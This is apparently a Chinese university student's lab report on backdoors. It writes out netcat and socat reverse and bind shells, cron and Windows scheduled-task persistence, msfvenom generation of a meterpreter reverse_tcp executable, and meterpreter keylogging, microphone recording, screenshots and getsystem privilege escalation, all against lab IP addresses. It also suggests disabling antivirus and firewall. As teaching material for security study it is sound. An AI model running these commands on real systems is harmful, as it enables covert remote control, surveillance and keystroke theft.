Exp2 后门原理与实践

20164318 毛瀚逸

一、实验内容

基础问题回答:

1.例举你能想到的一个后门进入到你系统中的可能方式?

答:下载奇怪的文件并运行,通过操作系统的漏洞来获取电脑的高级权限。

2.例举你知道的后门如何启动起来(win及linux)的方式?

答:设置定时运行,在设定的时间自动启动。

3.Meterpreter有哪些给你映像深刻的功能?

答:拍照,如果别人入侵了我的电脑,是不是可以随时窥探我在做什么呢。

4.如何发现自己有系统有没有被安装后门?

答:各种杀软都应该可以应付。

二、实验内容

1.使用netcat获取主机操作Shell,cron启动

1.1Windows获得Linux Shell

(1)命令 ipconfig 查看win10的IP地址,之后,win10本地用命令 ncat.exe -l -p 4318 监听4318端口,等待其它机器连接该端口

(2)Kali用命令 nc 192.168.64.1 4318 -e /bin/sh 反弹连接win10,提供自己的shell

(3)windows获得linux的shell,可执行linux相关命令

1.2Linux获得Windows Shell

(1)与上面步骤相似,linux下 ifconfig 查询IP地址,nc设置监听本地4318端口 nc -l -p 4318

(2)win10反弹连接linux,提供自己的shell(cmd) ncat.exe -e cmd.exe 192.168.179.131 4318

(3)Linux下看到Windows的命令提示,获得win10的shell,可任意执行指令

1.3nc传输数据

(1)win10监听本地4321端口 ncat.exe -l 4318 ,kali连接win10的4321端口 nc 192.168.1.162 4318

(2)然后就可以让两台机器开始聊天了,kali发一句,win10接收,然后回一句,实现了数据的传输

1.4nc定时启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

(1)win10监听本地4318端口 ncat.exe -l -p 4318

(2)crontab指令增加一条定时任务 crontab -e 。因为是第一次编辑,所以会提示选择编辑器。选择“3”,利用最基本的vim编辑器进行编辑( i 进入编辑模式),在最后一行添加任务 04* * * * /bin/netcat 192.168.1.162 4318 -e /bin/sh 。(编辑完成后, esc键 退出编辑模式, :wq 保存并退出)

说明:为何是04 ? => 最后一行的意思是在每个小时的第04分钟执行后面的那条指令。【如图,操作时是17:00,那就设置4分钟后(14:04)执行吧】

(3) crontab -l 可查看配置的任务

(4)当时间到了第04分时,win获得linux的shell,可执行相关命令

2.使用socat获取主机操作Shell, 任务计划启动

2.1在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称4318,之后,新建触发器,选择开始任务时间为:工作站锁定时。

2.2新建操作,选择启动的程序为socat.exe,参数项填为 tcp-listen:4318 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上

2.3创建完成之后,按 Win+L 快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

2.4在kali终端输入指令 socat - tcp:192.168.1.162:4318 (注:socat里面,必须有两个流,这里的第一个流[参数-]代表标准的输入输出,第二个流表示连接到Win10主机的4318端口),此时可发现已经成功获得了一个windows shell

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

3.1生成后门程序,指令为(注:这里设置的主机IP、端口为kali[攻击机]的IP、端口)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.179.131 LPORT=4318 -f exe > 4318_backdoor.exe

3.2通过nc指令将生成的后门程序传送到Windows主机上,输入后需要在Linux上输入指令

先进行:win10上运行ncat命令,等待接收4318_backdoor.exe

ncat.exe -lv 4318 >4318_backdoor.exe

后进行:kali上运行ncat命令,传输4318_backdoor.exe到win10主机(IP:192.168.1.162)上

nc -nv 192.168.1.162 4318 < 4318_backdoor.exe

结果出现问题

3.3效果

3.4在kali上使用 msfconsole 指令进入msf控制台

3.5进行如下配置

复制代码

use exploit/multi/handler              //使用handler模块

set payload windows/meterpreter/reverse_tcp   //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell

show options                      //查看利用模块的设置信息

set LHOST 192.168.179.131              //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP

set LPORT 4318                    //设置本主机的端口

show options                     //再次查看一下options,确保设置正确

exploit                        //运行模块

复制代码

(1)设置模块、载荷

(2)查看设置信息(注:Current setting列表示当前设置,如设置不符合,需修改;Required列若是yes,则表示对应行的参数需要设置)

EXITFUNC参数对应的行无需修改,网上解释为:EXITFUNC有4个不同的值:none,seh,thread和process。通常它被设置为线程或进程,它对应于ExitThread或ExitProcess调用。 “none”参数将调用GetLastError,实际上是无操作,线程然后将继续执行,允许您简单地将多个有效负载一起串行运行。在某些情况下,EXITFUNC是有用的,在利用一个exploit之后,我们需要一个干净地退出。

PROCESS方法应与multi/handler这个利用模块一起使用。此方法也应该与任何主进程在退出时会重新启动的漏洞一起使用。

(3)设置主机IP、端口,并再次用 show options 查看是否设置正确

发现正确

(4) 启用模块

(5)在win10上运行后门程序(这里,也许要提前关闭一下杀毒软件和防火墙,否则,可能运行时会出问题)查看kali,发现获得了win10主机的连接,并且得到了远程控制的shell,可执行相关命令

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1由上面的exploit操作,已经获得shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容

(1)获取目标主机音频、截屏内容

record_mic    //音频

screenshot    //截屏

(2)发现win7中有摄像设备,可以获取一下摄像头所拍摄相片

(3)获取击键记录

kali上输入指令 keyscan_start ,开始记录win10上任何键盘记录,随意在win10上输入一些字母,之后kali上输入指令 keyscan_dump ,就可下载键盘记录

4.2提权

(1)先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权,提权成功。

三、实验感想与体会

这次的实验说实话做的有点毛骨悚然,我们一介学生在老师的指导下就可以对电脑做出这么多操作,如果这些方法被坏人使用,是不是我们也可以随时让我们被窥探,我们一定要好好加强自己的计算机安全。

最新文章

  1. 基于SSH框架的学生公寓管理系统的质量属性
  2. Java和Ibatis调用存储过程并取得返回值详解
  3. 避开WebForm天坑,拥抱ASP.Net MVC吧
  4. 如何选择PDA的操作系统? Android OR WINCE?
  5. jquery的change 事件
  6. PHP 简单的加密解密算法
  7. Dynamic Vertex Buffers
  8. Java中的编码问题
  9. angularJS 服务三
  10. Swift中类的两段式构造(类的构造过程)
  11. 读苹果开发文档时遇到瓶颈,转而花2天看了Objc基本语法
  12. Intellij IDEA 像eclipse那样给maven添加依赖
  13. Hadoop2.7.3+Spark2.1.0 完全分布式环境 搭建全过程
  14. 如果没有Build path怎么办 .project文件的修改
  15. 2017ACM/ICPC广西邀请赛-重现赛 1010.Query on A Tree
  16. Go 程序的性能调试问题
  17. ASP.NET MVC入门到精通——第一个ASP.NET MVC程序
  18. promise-async-await
  19. hash入门
  20. .NET中那些所谓的新语法

热门文章

  1. servlet的url-pattern的缺省匹配【&lt;url-pattern&gt;/&lt;url-pattern&gt;】
  2. vBox Arch UEFI LVM安装
  3. SolrCloud7.4(Jetty容器)+mysql oracle 部署与应用
  4. SpringSecurity简单记录
  5. ng-model-options 时延
  6. element-项目用到偏门方法~
  7. DevExpress ASP.NET Core Controls 2019发展蓝图(No.3)
  8. Ubuntu下Caffe实现物体分类
  9. shell练习题6
  10. Maven中添加镜像